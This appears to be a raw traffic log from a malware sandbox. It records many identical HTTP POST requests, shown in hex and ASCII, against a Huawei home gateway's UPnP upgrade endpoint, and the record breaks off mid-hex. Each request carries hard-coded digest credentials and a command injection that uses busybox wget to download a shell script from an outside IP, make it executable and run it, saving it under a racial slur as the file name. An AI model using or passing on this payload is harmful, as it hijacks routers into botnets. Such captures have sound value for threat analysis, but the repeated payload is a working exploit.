2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:53.297066927 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:56.944602966 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:04.367602110 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:18.957593918 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:48.649467945 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.23	32800	45.207.150.124	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:49.924235106 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:51.473400116 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:53.329077005 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:57.200536013 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 